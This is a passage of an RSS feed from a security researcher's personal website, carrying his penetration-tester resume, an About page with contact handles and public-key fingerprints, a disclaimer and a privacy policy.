C87.029,7413.87 87.684,7414.185 88.139,7415.37 C88.139,7415.37 88.726,7417.2 91.508,7416.58 C91.513,7417.437 91.522,7418.245 91.522,7418.489 C91.522,7418.76 91.338,7419.077 90.839,7418.982 C86.865,7417.627 84,7413.783 84,7409.253 C84,7403.59 88.478,7399 94,7399&#34; id=&#34;github-[#142]&#34;&gt;&lt;/path&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
        &lt;span&gt;Aftab700&lt;/span&gt;
    &lt;/a&gt;
    &lt;a href=&#34;https://www.linkedin.com/in/aftab-sama/&#34; title=&#34;LinkedIn&#34; class=&#34;icon-link&#34;&gt;
        &lt;svg fill=&#34;currentColor&#34; viewBox=&#34;0 0 32 32&#34; version=&#34;1.1&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M28.778 1.004h-25.56c-0.008-0-0.017-0-0.027-0-1.199 0-2.172 0.964-2.186 2.159v25.672c0.014 1.196 0.987 2.161 2.186 2.161 0.010 0 0.019-0 0.029-0h25.555c0.008 0 0.018 0 0.028 0 1.2 0 2.175-0.963 2.194-2.159l0-0.002v-25.67c-0.019-1.197-0.994-2.161-2.195-2.161-0.010 0-0.019 0-0.029 0h0.001zM9.9 26.562h-4.454v-14.311h4.454zM7.674 10.293c-1.425 0-2.579-1.155-2.579-2.579s1.155-2.579 2.579-2.579c1.424 0 2.579 1.154 2.579 2.578v0c0 0.001 0 0.002 0 0.004 0 1.423-1.154 2.577-2.577 2.577-0.001 0-0.002 0-0.003 0h0zM26.556 26.562h-4.441v-6.959c0-1.66-0.034-3.795-2.314-3.795-2.316 0-2.669 1.806-2.669 3.673v7.082h-4.441v-14.311h4.266v1.951h0.058c0.828-1.395 2.326-2.315 4.039-2.315 0.061 0 0.121 0.001 0.181 0.003l-0.009-0c4.5 0 5.332 2.962 5.332 6.817v7.855z&#34;&gt;&lt;/path&gt;&lt;/svg&gt;
        &lt;span&gt;aftab-sama&lt;/span&gt;
    &lt;/a&gt;
&lt;/div&gt;
&lt;h2 id=&#34;professional-experience&#34;&gt;Professional Experience&lt;/h2&gt;
&lt;hr&gt;
&lt;h3 id=&#34;tata-consultancy-services&#34;&gt;Tata Consultancy Services&lt;/h3&gt;
&lt;div style=&#34;display: flex; justify-content: space-between;&#34;&gt;
  &lt;strong&gt;Penetration Tester&lt;/strong&gt;
  &lt;strong&gt;October 2023 - Present&lt;/strong&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Executed over 100 comprehensive Web, API, Mobile and Thick Client Application penetration tests on staging and production environments while adhering to OWASP, SANS, and PCI-DSS standards, ensuring data security and compliance&lt;/li&gt;
&lt;li&gt;Led scope calls with clients for over 50 penetration testing assessments, ensuring alignment with client expectations and project objectives&lt;/li&gt;
&lt;li&gt;Effectively communicated technical findings to non-technical stakeholders, facilitating a clear understanding of vulnerabilities and recommended actions&lt;/li&gt;
&lt;li&gt;Conducted Configuration Level Vulnerability Assessments (CLVA) for AWS environments, enhancing cybersecurity resilience&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;quick-heal&#34;&gt;Quick Heal&lt;/h3&gt;
&lt;div style=&#34;display: flex; justify-content: space-between;&#34;&gt;
  &lt;strong&gt;Security Researcher Intern&lt;/strong&gt;
  &lt;strong&gt;April 2023 - September 2023&lt;/strong&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Created PoC exploits for RDP and SMB brute force attacks to test antivirus effectiveness&lt;/li&gt;
&lt;li&gt;Developed a Python-based log collection tool that reduced manual data gathering time by 75% for the support team&lt;/li&gt;
&lt;li&gt;Automated the IoC validation process, enabling the team to process 1000+ IoCs daily, a 10x increase in efficiency&lt;/li&gt;
&lt;li&gt;Shadowed on malware cases to learn about the investigation process&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;kpmg&#34;&gt;KPMG&lt;/h3&gt;
&lt;div style=&#34;display: flex; justify-content: space-between;&#34;&gt;
  &lt;strong&gt;Security Analyst Intern&lt;/strong&gt;
  &lt;strong&gt;January 2023 - April 2023&lt;/strong&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Created technical documentation and executive-level presentations to communicate assessment findings, risk impact, and remediation strategies to clients and internal stakeholders&lt;/li&gt;
&lt;li&gt;Automated report generation from PDF to Excel using Python, saving the team an estimated 4 hours of manual work per week&lt;/li&gt;
&lt;li&gt;Conducted vulnerability assessments and penetration testing on web applications&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;certifications&#34;&gt;Certifications&lt;/h2&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;Certified AppSec Pentesting eXpert (&lt;a href=&#34;https://candidate.speedexam.net/certificate.aspx?SSTATE=am4131EniU8ntjp4bO5mXawC9KLk53+kH3XqC1Zf1KbSbprv6akTJ7qNYtDnYEHDkXNqT5o6Hy1ppqkrgpRvHJ+MnoLPojby6XnuPAYvaHo=&#34;&gt;CAPenX&lt;/a&gt;) - The SecOps Group (September 2025)&lt;/li&gt;
&lt;li&gt;Certified Network Pentester (&lt;a href=&#34;https://candidate.speedexam.net/certificate.aspx?SSTATE=am4131EniU8ntjp4bO5mXXYUIXfimcVEH/JkekT1dX58wphvf4wTOtXEKpg8HZmeIgJem3TvFmK5jSuC76j+osGNjTWh/zQ7i8eLvXMHTs8=&#34;&gt;CNPen&lt;/a&gt;) - The SecOps Group (January 2025)&lt;/li&gt;
&lt;li&gt;Certified AppSec Pentester (&lt;a href=&#34;https://candidate.speedexam.net/certificate.aspx?SSTATE=am4131EniU8ntjp4bO5mXQeaUGkUj4t12LPNd/OvYWr9oZ6dwsVHMRqCfwFL2olGLuex62lP6pD1YJKoB4SMCzJ2kLxItR9IQo2VYvnfQUo=&#34;&gt;CAPen&lt;/a&gt;) - The SecOps Group (January 2025)&lt;/li&gt;
&lt;li&gt;Burp Suite Certified Practitioner (&lt;a href=&#34;https://portswigger.net/web-security/e/c/d1810975205c9a28&#34;&gt;BSCP&lt;/a&gt;) - PortSwigger (May 2024)&lt;/li&gt;
&lt;li&gt;Certified Ethical Hacker (&lt;a href=&#34;https://aspen.eccouncil.org/VerifyBadge?type=certification&amp;amp;a=cgrVqTOrFvibIgcBEUxUVIepTq9KOo9ldNKraQpTQTw=&#34;&gt;CEH Practical&lt;/a&gt;) - EC-Council (September 2023)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://academy.hackthebox.com/achievement/badge/968e017f-8efb-11ef-864f-bea50ffe6cb4&#34;&gt;Web Penetration Tester&lt;/a&gt; Path - HackTheBox&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;achievements&#34;&gt;Achievements&lt;/h2&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;NULL Bangalore Speaker&lt;/li&gt;
&lt;li&gt;Ranked among the top 100 in TCS HackQuest Season 7 Capture the Flag competition, which led to an employment opportunity with TCS&lt;/li&gt;
&lt;li&gt;Ranked among the top performers in a national CTF competition organized by the KPMG Cyber Security Team, leading to an internship opportunity with the Digital Trust-Cyber Defense Incident Response team&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://app.hackthebox.com/profile/668328&#34;&gt;Hacker&lt;/a&gt; rank on HackTheBox&lt;/li&gt;
&lt;li&gt;5th place in WEC CTF 2024 - February 2024&lt;/li&gt;
&lt;li&gt;Top 10 in the Wizer CTF event – February 2024&lt;/li&gt;
&lt;li&gt;8th place in Anveshanam CTF Organized by IIT Jammu - March 2023&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;education&#34;&gt;Education&lt;/h2&gt;
&lt;hr&gt;
&lt;h3 id=&#34;rashtriya-raksha-university&#34;&gt;Rashtriya Raksha University&lt;/h3&gt;
&lt;div style=&#34;display: flex; justify-content: space-between;&#34;&gt;
  &lt;strong&gt;Bachelor of Technology in Computer Science and Engineering (With Specialization in Cyber Security)&lt;/strong&gt;
  &lt;strong&gt;Jun 2019 - Jun 2023&lt;/strong&gt;
&lt;/div&gt;
&lt;h2 id=&#34;technical-skills&#34;&gt;Technical Skills&lt;/h2&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Languages:&lt;/strong&gt; Python (Automation &amp;amp; Scripting) , Go, Bash&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Penetration Testing:&lt;/strong&gt; Linux, Windows, AD, Web, API, Mobile and Thick Client&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloud:&lt;/strong&gt; AWS, Docker&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Standards &amp;amp; Frameworks:&lt;/strong&gt; OWASP, SANS, PCI-DSS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Server hardening:&lt;/strong&gt; Linux&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;projects&#34;&gt;Projects&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;Check out my Projects on my &lt;a href=&#34;https://www.linkedin.com/in/aftab-sama/details/projects/&#34;&gt;LinkedIn&lt;/a&gt;.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h1 style="text-align: center;">Aftab Sama</h1>
<div class="icon-container">
    <a href="mailto:hi@aftabsama.com" title="Email" class="icon-link">
        <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 21" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M4 4h16c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2z"></path><polyline points="22,6 12,13 2,6"></polyline></svg>
        <span>hi@aftabsama.com</span>
    </a>
    <a href="https://github.com/Aftab700" title="GitHub" class="icon-link">
        <svg viewBox="0 0 20 20" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g id="Page-1" stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g id="Dribbble-Light-Preview" transform="translate(-140.000000, -7559.000000)" fill="currentColor"><g id="icons" transform="translate(56.000000, 160.000000)"><path d="M94,7399 C99.523,7399 104,7403.59 104,7409.253 C104,7413.782 101.138,7417.624 97.167,7418.981 C96.66,7419.082 96.48,7418.762 96.48,7418.489 C96.48,7418.151 96.492,7417.047 96.492,7415.675 C96.492,7414.719 96.172,7414.095 95.813,7413.777 C98.04,7413.523 100.38,7412.656 100.38,7408.718 C100.38,7407.598 99.992,7406.684 99.35,7405.966 C99.454,7405.707 99.797,7404.664 99.252,7403.252 C99.252,7403.252 98.414,7402.977 96.505,7404.303 C95.706,7404.076 94.85,7403.962 94,7403.958 C93.15,7403.962 92.295,7404.076 91.497,7404.303 C89.586,7402.977 88.746,7403.252 88.746,7403.252 C88.203,7404.664 88.546,7405.707 88.649,7405.966 C88.01,7406.684 87.619,7407.598 87.619,7408.718 C87.619,7412.646 89.954,7413.526 92.175,7413.785 C91.889,7414.041 91.63,7414.493 91.54,7415.156 C90.97,7415.418 89.522,7415.871 88.63,7414.304 C88.63,7414.304 88.101,7413.319 87.097,7413.247 C87.097,7413.247 86.122,7413.234 87.029,7413.87 C87.029,7413.87 87.684,7414.185 88.139,7415.37 C88.139,7415.37 88.726,7417.2 91.508,7416.58 C91.513,7417.437 91.522,7418.245 91.522,7418.489 C91.522,7418.76 91.338,7419.077 90.839,7418.982 C86.865,7417.627 84,7413.783 84,7409.253 C84,7403.59 88.478,7399 94,7399" id="github-[#142]"></path></g></g></g></svg>
        <span>Aftab700</span>
    </a>
    <a href="https://www.linkedin.com/in/aftab-sama/" title="LinkedIn" class="icon-link">
        <svg fill="currentColor" viewBox="0 0 32 32" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M28.778 1.004h-25.56c-0.008-0-0.017-0-0.027-0-1.199 0-2.172 0.964-2.186 2.159v25.672c0.014 1.196 0.987 2.161 2.186 2.161 0.010 0 0.019-0 0.029-0h25.555c0.008 0 0.018 0 0.028 0 1.2 0 2.175-0.963 2.194-2.159l0-0.002v-25.67c-0.019-1.197-0.994-2.161-2.195-2.161-0.010 0-0.019 0-0.029 0h0.001zM9.9 26.562h-4.454v-14.311h4.454zM7.674 10.293c-1.425 0-2.579-1.155-2.579-2.579s1.155-2.579 2.579-2.579c1.424 0 2.579 1.154 2.579 2.578v0c0 0.001 0 0.002 0 0.004 0 1.423-1.154 2.577-2.577 2.577-0.001 0-0.002 0-0.003 0h0zM26.556 26.562h-4.441v-6.959c0-1.66-0.034-3.795-2.314-3.795-2.316 0-2.669 1.806-2.669 3.673v7.082h-4.441v-14.311h4.266v1.951h0.058c0.828-1.395 2.326-2.315 4.039-2.315 0.061 0 0.121 0.001 0.181 0.003l-0.009-0c4.5 0 5.332 2.962 5.332 6.817v7.855z"></path></svg>
        <span>aftab-sama</span>
    </a>
</div>
<h2 id="professional-experience">Professional Experience</h2>
<hr>
<h3 id="tata-consultancy-services">Tata Consultancy Services</h3>
<div style="display: flex; justify-content: space-between;">
  <strong>Penetration Tester</strong>
  <strong>October 2023 - Present</strong>
</div>
<ul>
<li>Executed over 100 comprehensive Web, API, Mobile and Thick Client Application penetration tests on staging and production environments while adhering to OWASP, SANS, and PCI-DSS standards, ensuring data security and compliance</li>
<li>Led scope calls with clients for over 50 penetration testing assessments, ensuring alignment with client expectations and project objectives</li>
<li>Effectively communicated technical findings to non-technical stakeholders, facilitating a clear understanding of vulnerabilities and recommended actions</li>
<li>Conducted Configuration Level Vulnerability Assessments (CLVA) for AWS environments, enhancing cybersecurity resilience</li>
</ul>
<h3 id="quick-heal">Quick Heal</h3>
<div style="display: flex; justify-content: space-between;">
  <strong>Security Researcher Intern</strong>
  <strong>April 2023 - September 2023</strong>
</div>
<ul>
<li>Created PoC exploits for RDP and SMB brute force attacks to test antivirus effectiveness</li>
<li>Developed a Python-based log collection tool that reduced manual data gathering time by 75% for the support team</li>
<li>Automated the IoC validation process, enabling the team to process 1000+ IoCs daily, a 10x increase in efficiency</li>
<li>Shadowed on malware cases to learn about the investigation process</li>
</ul>
<h3 id="kpmg">KPMG</h3>
<div style="display: flex; justify-content: space-between;">
  <strong>Security Analyst Intern</strong>
  <strong>January 2023 - April 2023</strong>
</div>
<ul>
<li>Created technical documentation and executive-level presentations to communicate assessment findings, risk impact, and remediation strategies to clients and internal stakeholders</li>
<li>Automated report generation from PDF to Excel using Python, saving the team an estimated 4 hours of manual work per week</li>
<li>Conducted vulnerability assessments and penetration testing on web applications</li>
</ul>
<h2 id="certifications">Certifications</h2>
<hr>
<ul>
<li>Certified AppSec Pentesting eXpert (<a href="https://candidate.speedexam.net/certificate.aspx?SSTATE=am4131EniU8ntjp4bO5mXawC9KLk53+kH3XqC1Zf1KbSbprv6akTJ7qNYtDnYEHDkXNqT5o6Hy1ppqkrgpRvHJ+MnoLPojby6XnuPAYvaHo=">CAPenX</a>) - The SecOps Group (September 2025)</li>
<li>Certified Network Pentester (<a href="https://candidate.speedexam.net/certificate.aspx?SSTATE=am4131EniU8ntjp4bO5mXXYUIXfimcVEH/JkekT1dX58wphvf4wTOtXEKpg8HZmeIgJem3TvFmK5jSuC76j+osGNjTWh/zQ7i8eLvXMHTs8=">CNPen</a>) - The SecOps Group (January 2025)</li>
<li>Certified AppSec Pentester (<a href="https://candidate.speedexam.net/certificate.aspx?SSTATE=am4131EniU8ntjp4bO5mXQeaUGkUj4t12LPNd/OvYWr9oZ6dwsVHMRqCfwFL2olGLuex62lP6pD1YJKoB4SMCzJ2kLxItR9IQo2VYvnfQUo=">CAPen</a>) - The SecOps Group (January 2025)</li>
<li>Burp Suite Certified Practitioner (<a href="https://portswigger.net/web-security/e/c/d1810975205c9a28">BSCP</a>) - PortSwigger (May 2024)</li>
<li>Certified Ethical Hacker (<a href="https://aspen.eccouncil.org/VerifyBadge?type=certification&amp;a=cgrVqTOrFvibIgcBEUxUVIepTq9KOo9ldNKraQpTQTw=">CEH Practical</a>) - EC-Council (September 2023)</li>
<li><a href="https://academy.hackthebox.com/achievement/badge/968e017f-8efb-11ef-864f-bea50ffe6cb4">Web Penetration Tester</a> Path - HackTheBox</li>
</ul>
<h2 id="achievements">Achievements</h2>
<hr>
<ul>
<li>NULL Bangalore Speaker</li>
<li>Ranked among the top 100 in TCS HackQuest Season 7 Capture the Flag competition, which led to an employment opportunity with TCS</li>
<li>Ranked among the top performers in a national CTF competition organized by the KPMG Cyber Security Team, leading to an internship opportunity with the Digital Trust-Cyber Defense Incident Response team</li>
<li><a href="https://app.hackthebox.com/profile/668328">Hacker</a> rank on HackTheBox</li>
<li>5th place in WEC CTF 2024 - February 2024</li>
<li>Top 10 in the Wizer CTF event – February 2024</li>
<li>8th place in Anveshanam CTF Organized by IIT Jammu - March 2023</li>
</ul>
<h2 id="education">Education</h2>
<hr>
<h3 id="rashtriya-raksha-university">Rashtriya Raksha University</h3>
<div style="display: flex; justify-content: space-between;">
  <strong>Bachelor of Technology in Computer Science and Engineering (With Specialization in Cyber Security)</strong>
  <strong>Jun 2019 - Jun 2023</strong>
</div>
<h2 id="technical-skills">Technical Skills</h2>
<hr>
<ul>
<li><strong>Languages:</strong> Python (Automation &amp; Scripting) , Go, Bash</li>
<li><strong>Penetration Testing:</strong> Linux, Windows, AD, Web, API, Mobile and Thick Client</li>
<li><strong>Cloud:</strong> AWS, Docker</li>
<li><strong>Standards &amp; Frameworks:</strong> OWASP, SANS, PCI-DSS</li>
<li><strong>Server hardening:</strong> Linux</li>
</ul>
<h2 id="projects">Projects</h2>
<hr>
<p>Check out my Projects on my <a href="https://www.linkedin.com/in/aftab-sama/details/projects/">LinkedIn</a>.</p>
<style>
    .post-content hr {
        margin-bottom: 10px;
        margin-top: 5px;
    }
    .post-content h2 {
        margin-bottom: 0;
    }
    .icon-container {
        display: flex;
        justify-content: center;
        gap: 30px;
    }
    .icon-container svg {
        width: 40px;
        height: 40px;
    }
    .icon-container a {
        color: var(--primary);
        box-shadow: 0 0;
    }
    .icon-link {
      display: inline-flex;
      align-items: center;
      gap: 3px;
      text-decoration: none;
    }
</style>
]]></content:encoded>
    </item>
    <item>
      <title>About</title>
      <link>https://aftabsama.com/about/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/about/</guid>
      <description>$ cat /home/about</description>
      <content:encoded><![CDATA[<blockquote>
<p>&ldquo;Information is power. But like all power, there are those who want to keep it for themselves.&rdquo;
— <a href="https://en.wikipedia.org/wiki/Aaron_Swartz" title="Aaron Swartz @ Wikipedia">Aaron Swartz</a></p></blockquote>
<details>
<summary> <code>$ whoami</code> </summary>
Hi, My name is Aftab Sama! 👋
</details><br>
<p>I&rsquo;m an independent security researcher, ethical hacker and content creator with experience in Web, API, Mobile and Thick Client Application penetration testing. I hold Bachelor of Technology degree from Rashtriya Raksha University in Computer Science and Engineering with specialization in Cyber Security.</p>
<p>During my studies, I gained hands-on experience through internships at KPMG India and Quick Heal Technologies where I had the opportunity to work on various malware cases and learn about the investigation process.</p>
<p>My passion for offensive security and penetration testing led me to obtain certifications such as CAPenX, BSCP, CNPen, CEH Practical, among others. I plan to enroll in further offensive security courses in the future. My long term goal is to present some innovative security research at DefCon.</p>
<p>Capture the Flag (CTF) competitions helped me secure my first internship at KPMG India, as I was among the top performers in a national CTF competition organized by the KPMG Cyber Security Team. I also ranked among the top performers in TCS HackQuest Season 7 CTF competition, which led to an employment opportunity with Tata Consultancy Services, where I am currently working as Penetration Tester.</p>
<p>In my free time, I continue to actively sharpen my skills on platforms like HackTheBox and participate in CTF events. I have taken part in several prestigious CTF competitions, winning multiple prizes. Besides my interest in security, I enjoy reading about stoicism and philosophy.</p>
<p>You can learn more about my professional experience on my <a href="https://www.linkedin.com/in/aftab-sama/">LinkedIn profile</a> or by viewing my <a href="/resume/">resume</a>.</p>
<details>
<summary>Interests:</summary>
<blockquote>
<p><code>Cyber security</code>, <code>GNU/Linux</code>, <code>*nix based systems</code>, <code>open source</code>,
<code>FOSS</code>, <code>privacy</code>, <code>OPSEC</code>, <code>DFIR</code>, <code>OSINT</code>, <code>CTF</code>, <code>threat intelligence</code>,
<code>reverse engineering</code>, <code>malware</code>, <code>cryptography</code>, <code>hardware hacking</code>,
<code>physical security</code>, <code>lockpicking sport</code>, <code>cloud computing</code>, <code>operating systems</code>, <code>biohacking</code>, <code>IoT</code>, <code>blockchain</code>, <code>audiophile</code>, <code>AI</code>, <code>ML</code>, <code>DL</code>,
<code>LLM</code>, <code>Anime</code>, <code>ham radio</code>, <code>SDR</code>, <code>science</code>, <code>psychology</code>, <code>philosophy</code>, <code>minimalism</code>,
<code>permacomputing</code>, etc.</p></blockquote>
</details>
<br>
<p>This blog serves as my digital notebook, a place where I document my research, share findings, and solidify my own understanding of complex topics. I&rsquo;ve made it public in the hope that my notes can help others on their own learning journey. Sharing is caring, after all! ^^</p>
<br>
<h3 id="contacts">Contacts:</h3>
<p>💬 <a href="https://matrix.to/#/@aftab700:matrix.org" title="@aftab700:matrix.org">Matrix</a> <br>
💬 <a href="https://getsession.org/">Session</a> - <a href="/session.txt" title="Session ID: 05f16f9b407d69d5be0d2268129e40eccf4ae2440ddbaa74e208740f7a5e299339">Session ID</a><br>
💬 <a href="https://en.wikipedia.org/wiki/XMPP" title="XMPP @ Wikipedia">XMPP</a> - <a href="xmpp:aftab700@yourdata.forsale">aftab700@yourdata.forsale</a><br></p>
<p>📡 <a href="https://en.wikipedia.org/wiki/Internet_Relay_Chat" title="IRC @ Wikipedia">IRC</a> - aftab700 @ <a href="https://libera.chat/">Libera.Chat</a><br>
📡 <a href="https://en.wikipedia.org/wiki/Internet_Relay_Chat" title="IRC @ Wikipedia">IRC</a> - aftab700 @ <a href="https://tilde.chat/">tilde.chat</a><br>
📡 <a href="https://en.wikipedia.org/wiki/Internet_Relay_Chat" title="IRC @ Wikipedia">IRC</a> - aftab700 @ <a href="https://www.rizon.net/">Rizon</a><br></p>
<p>📧 <a href="mailto:hi@aftabsama.com">E-mail</a></p>
<details>
<summary> 🔑 PGP Public Key </summary>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -sL https://aftabsama.com/pgp <span class="p">|</span> gpg --import
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Fingerprint: [0BE8B166C93FA382] • 52DD C5E6 F700 2761 BD9D  BFD6 0BE8 B166 C93F A382</span>
</span></span></code></pre></div><p><a href="/pgp.txt">pgp.txt</a></p>
</details>
<details>
<summary> 🔑 SSH Public Key </summary>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Fingerprint: SHA256:41MeUrUNG63NyJ3du9v111UkYMUTv8eRGiXDntncHxw</span>
</span></span></code></pre></div><p><a href="/ssh.txt">ssh.txt</a></p>
</details>
<details>
<summary> 🔑 OMEMO Fingerprint </summary>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">18E6230C E3BC3162 4CE2BFA7 CA2CBF24
</span></span><span class="line"><span class="cl">8DBA1BAB C09487B8 D0265D98 798B8961
</span></span></code></pre></div></details>
<!-- <details>
<summary> 🔑 OTR Fingerprint </summary>

```
147B3144 705DADC6 E30F10D4 58EE07ED C9BFE1A6
```

</details> -->
<br>
<!-- ### Misc:

<details>
<summary>🎵 Now listening</summary>
<p>
<img src="https://api.spotify.hiiruki.dev/api?scan=true&theme=dark" align="center" alt="Current Spotify Song">
</p>
<br>

[Full Visualizer](https://spotify.hiiruki.dev/ "Spotify Visualizer")
</details>
<br>

<details>
<summary>👨‍💻 Doing something</summary>
<p>
  <img src="https://lanyard-profile-readme.vercel.app/api/529270835341426708?hideTimestamp=false&hideDiscrim=true&idleMessage=Just%20chillin'%20at%20the%20moment..." align="center" alt="Discord Presence">
</p>
</details>
<br> -->
<!-- <details>
<summary>🛜 Wi-Fi Pwned</summary>
<p>
  <img src="https://wigle.net/bi/hPCdvaBdwb9g+_8pGX6b8A.png" align="center" alt="Discord Presence">
</p>
</details>
<br> -->
<p>📊 <a href="https://status.aftabsama.com/" title="Aftab's Status Page">Status</a><br></p>
<p>🧑‍💼 <a href="/humans.txt">humans.txt</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Disclaimer</title>
      <link>https://aftabsama.com/disclaimer/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/disclaimer/</guid>
      <description>Website disclaimer</description>
      <content:encoded><![CDATA[<ul>
<li>The views expressed on this site are my own and do not reflect those of any individual or entity with which I have been or am currently affiliated with.</li>
<li>Any mention of any individuals or entities on this site is not an endorsement of said individual or entity.</li>
<li>Any site content may be modified, removed, or otherwise altered without notice.</li>
<li>Opinions expressed in a blog post may have changed since its date of publication.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Privacy Policy</title>
      <link>https://aftabsama.com/privacy/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/privacy/</guid>
      <description>Website privacy policy</description>
      <content:encoded><![CDATA[<ul>
<li>This website was created with <a href="https://gohugo.io/">Hugo</a> a <a href="https://en.wikipedia.org/wiki/Static_site_generator" title="Static Site Generator (SSG) @ Wikipedia">Static Site Generator (SSG)</a> written in <a href="https://go.dev/">Go</a>. It does not use cookies of any kind. This site uses <code>localStorage</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> for the purpose of switching between light and dark themes for UI/UX, with no interaction with the server, only on the client side. There are no forms or other mechanisms that process personal data.</li>
<li>This Website is hosted in <a href="https://pages.cloudflare.com/">Cloudflare Pages</a>. Cloudflare may collect user personal information from visitors to this website, including logs of visitor IP addresses, to comply with legal obligations, and to maintain the security and integrity of the website and the service. See the Cloudflare Privacy Statement for details.<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></li>
<li>All external links open in a new tab and by default are told not to send a referrer in the header. I do not use an anonymizing service so that you will know exactly where the link will take you to. Also, I use <code>noopener</code> attribute, which prevents the opening page to gain any kind of access to the original page.</li>
<li>If any external links are missing the <code>rel=&quot;external nofollow noopener noreferrer&quot;</code><sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> let me know and I&rsquo;ll update it ASAP.</li>
</ul>
<!-- - To enhance the website's security, I have implemented several HTTP security headers[^4] such as [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP), [Strict-Transport-Security](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security), [X-Content-Type-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options), [Referrer-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy), [X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options), [Cross-Origin-Opener-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-Origin-Opener-Policy) and [Permissions-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Permissions_Policy). -->
<ul>
<li>I will never add user tracking/analytics of any type because I simply do not care. I don&rsquo;t care how popular the site is or isn&rsquo;t - <em>it exists for my personal satisfaction</em>.</li>
<li>Apart from this, no data is collected, stored or evaluated. No ads, no tracking/analytics, just my articles to read.</li>
</ul>
<!-- [^4]: [HTTP Security Response Headers](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html) -->
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API" title="Web Storage API @ MDN Web Docs">MDN Web Docs: Web Storage API</a> &amp; <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage" title="localStorage @ MDN Web Docs">MDN Web Docs: Local Storage</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://www.cloudflare.com/privacypolicy/">Cloudflare&rsquo;s Privacy Statement</a> &amp; <a href="https://www.cloudflare.com/trust-hub/gdpr/">Cloudflare&rsquo;s General Data Protection Regulation (GDPR)</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types" title="Link types @ MDN Web Docs">MDN Web Docs: Link types</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded>
    </item>
  </channel>
</rss>
